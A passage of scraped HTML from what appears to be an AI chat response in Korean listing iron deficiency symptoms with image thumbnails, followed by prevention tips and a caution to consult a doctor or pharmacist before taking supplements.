_ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://hu.pinterest.com/ny09290606/%EC%B0%BD%EB%B0%B1%ED%95%9C-%ED%94%BC%EB%B6%80/"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="창백한 피부 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTzBt5tgzvw_P9r6RCqWQxmMIB8Sbeiq4XvhKtk_rrzqu9Uz7WOdZ-RZK5Nk5VS"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://hu.pinterest.com/ny09290606/%EC%B0%BD%EB%B0%B1%ED%95%9C-%ED%94%BC%EB%B6%80/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTuHrwdrPhCNWX6EGf-Hwh0A1hYkBsFTNTog5ncMZc7A0EPAjhed8KG-74AoR2nqSqobXEHzztdpG_IpHUHV04jNyTHZ2y5wfrzAQ"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">hu.pinterest.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 창백한 피부 </div></div></single-image></response-element></div></li> <li data-sourcepos="19:1-20:15"><strong>숨 가쁨:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1329910/"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="숨 가쁨 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcThoaYzILN-CI5HWY08zmUfJCAE27ZLkjNPfwYwnXi7wnZkJ7zMRyp3rWNPJeVY"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1329910/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 숨 가쁨 </div></div></single-image></response-element></div></li> <li data-sourcepos="21:1-23:15"><strong>두통 및 어지럼증:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c776157568="" class="ng-star-inserted"><single-image _ngcontent-ng-c776157568="" class="carousel-image ng-star-inserted" _nghost-ng-c3800257488="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.post.naver.com/viewer/postView.naver?volumeNo=33723400&memberNo=27861801"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="어지럼증 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRTK_i7esrEMJF-L4DUeVkn-f7UQH8D2SklLydnQQVc2sUU0bb9gDiZQ_8hm1iF"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c776157568="" overlay="" _nghost-ng-c3118331891="" class="ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="auto-hide-side-arrows"><div _ngcontent-ng-c3118331891="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="carousel-dots"><div _ngcontent-ng-c3118331891="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3118331891="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3118331891="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3118331891="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3118331891="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://m.post.naver.com/viewer/postView.naver?volumeNo=33723400&memberNo=27861801" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQNVtNr9oknr-AzE8W5mKM3psCqUClkrFv2ulE1w4IJ0G3AfxTaf8Cs7jj5o7cobE4sQtyxCGM5qbn7fRtVH_WpsoEJEkqJejwxJg"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">m.post.naver.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 어지럼증 </div></div></single-image></image-carousel></response-element></div></li> <li data-sourcepos="24:1-25:17"><strong>손발 차가움:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://post.naver.com/viewer/postView.nhn?volumeNo=26958787&memberNo=22313680"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="손발 차가움 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTWZIAr5fOAZTBXMFV3peNaiBSn7y8jtlur_GvFNEuEQsy7PPa6dxToNhx5whaj"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://post.naver.com/viewer/postView.nhn?volumeNo=26958787&memberNo=22313680" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTSSwQ67KYQm0qnntgPkAfm0v7onWZfVzt2SMpSq659fGhmUuSQ0NRyYKXO1-C3qTLjq0KvP4hWX5qz7oUd-E2JrL02CG3rHiY"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">post.naver.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 손발 차가움 </div></div></single-image></response-element></div></li> <li data-sourcepos="26:1-28:17"><strong>집중력 저하 및 기억력 감퇴:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c776157568="" class="ng-star-inserted"><single-image _ngcontent-ng-c776157568="" class="carousel-image ng-star-inserted" _nghost-ng-c3800257488="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://hqcenter.snu.ac.kr/archives/jiphyunjeon/%EC%84%B1%EC%A0%81-%EC%98%AC%EB%A6%AC%EB%8A%94-%EC%A7%91%EC%A4%91%EB%A0%A5-%ED%96%A5%EC%83%81%EB%B2%95"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="집중력 저하 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSZRxmUcRnlVJFGNaTh2Tn3ADr4VhE9MiG0_QtjjAZSESaWaXZWu4-IAZxgFi_4"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c776157568="" overlay="" _nghost-ng-c3118331891="" class="ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="auto-hide-side-arrows"><div _ngcontent-ng-c3118331891="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="carousel-dots"><div _ngcontent-ng-c3118331891="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3118331891="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3118331891="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3118331891="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3118331891="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://hqcenter.snu.ac.kr/archives/jiphyunjeon/%EC%84%B1%EC%A0%81-%EC%98%AC%EB%A6%AC%EB%8A%94-%EC%A7%91%EC%A4%91%EB%A0%A5-%ED%96%A5%EC%83%81%EB%B2%95" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcScbYoTAuW3WIOek-AH8plmrBcdQFQf9kNuUkZssSB3vj4W8KUegLLuHX-AZHRn9amiHEdelOS2ukU-U3g-Qb8B86qlFG89XXC5A3nD"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">hqcenter.snu.ac.kr</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 집중력 저하 </div></div></single-image></image-carousel></response-element></div></li> <li data-sourcepos="29:1-31:16"><strong>손톱 및 발톱 변화:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c776157568="" class="ng-star-inserted"><single-image _ngcontent-ng-c776157568="" class="carousel-image ng-star-inserted" _nghost-ng-c3800257488="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///ele0160/222885930457"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="손톱 변화 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTmXbaR9ulI4VmfAlExmrU8tvdqURXj6C1wFgosAX5zXprtZxH9PUXM192Ix6Je"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c776157568="" overlay="" _nghost-ng-c3118331891="" class="ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="auto-hide-side-arrows"><div _ngcontent-ng-c3118331891="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="carousel-dots"><div _ngcontent-ng-c3118331891="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3118331891="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3118331891="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3118331891="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3118331891="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s:///ele0160/222885930457" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 손톱 변화 </div></div></single-image></image-carousel></response-element></div></li> <li data-sourcepos="32:1-33:0"><strong>이식증:</strong> 흙이나 얼음 등 특이한 물질 섭취 욕구</li> </ul><p data-sourcepos="34:1-34:23"><strong>철분 부족 증상 예방 및 개선 방법</strong></p><ul data-sourcepos="36:1-40:0"> <li data-sourcepos="36:1-36:44"><strong>철분이 풍부한 식품 섭취:</strong> 붉은 살코기, 생선, 녹색 채소, 콩류 등</li> <li data-sourcepos="37:1-37:25"><strong>비타민 C 섭취:</strong> 철분 흡수율 향상</li> <li data-sourcepos="38:1-38:34"><strong>철분 보충제 복용:</strong> 의사 또는 약사와 상담 후 복용</li> <li data-sourcepos="39:1-40:0"><strong>정기적인 건강검진:</strong> 철분 부족 여부 확인</li> </ul><p data-sourcepos="41:1-41:8"><strong>주의사항</strong></p><ul data-sourcepos="43:1-44:50"> <li data-sourcepos="43:1-43:40">철분 부족 증상이 의심될 경우, 반드시 의사 또는 약사와 상담하세요.</li> <li data-sourcepos="44:1-44:50">철분 보충제는 과다 복용 시 부작용이 있을 수 있으므로, 전문가와 상담 후 복용하세요.</li> </ul></div> </div></div>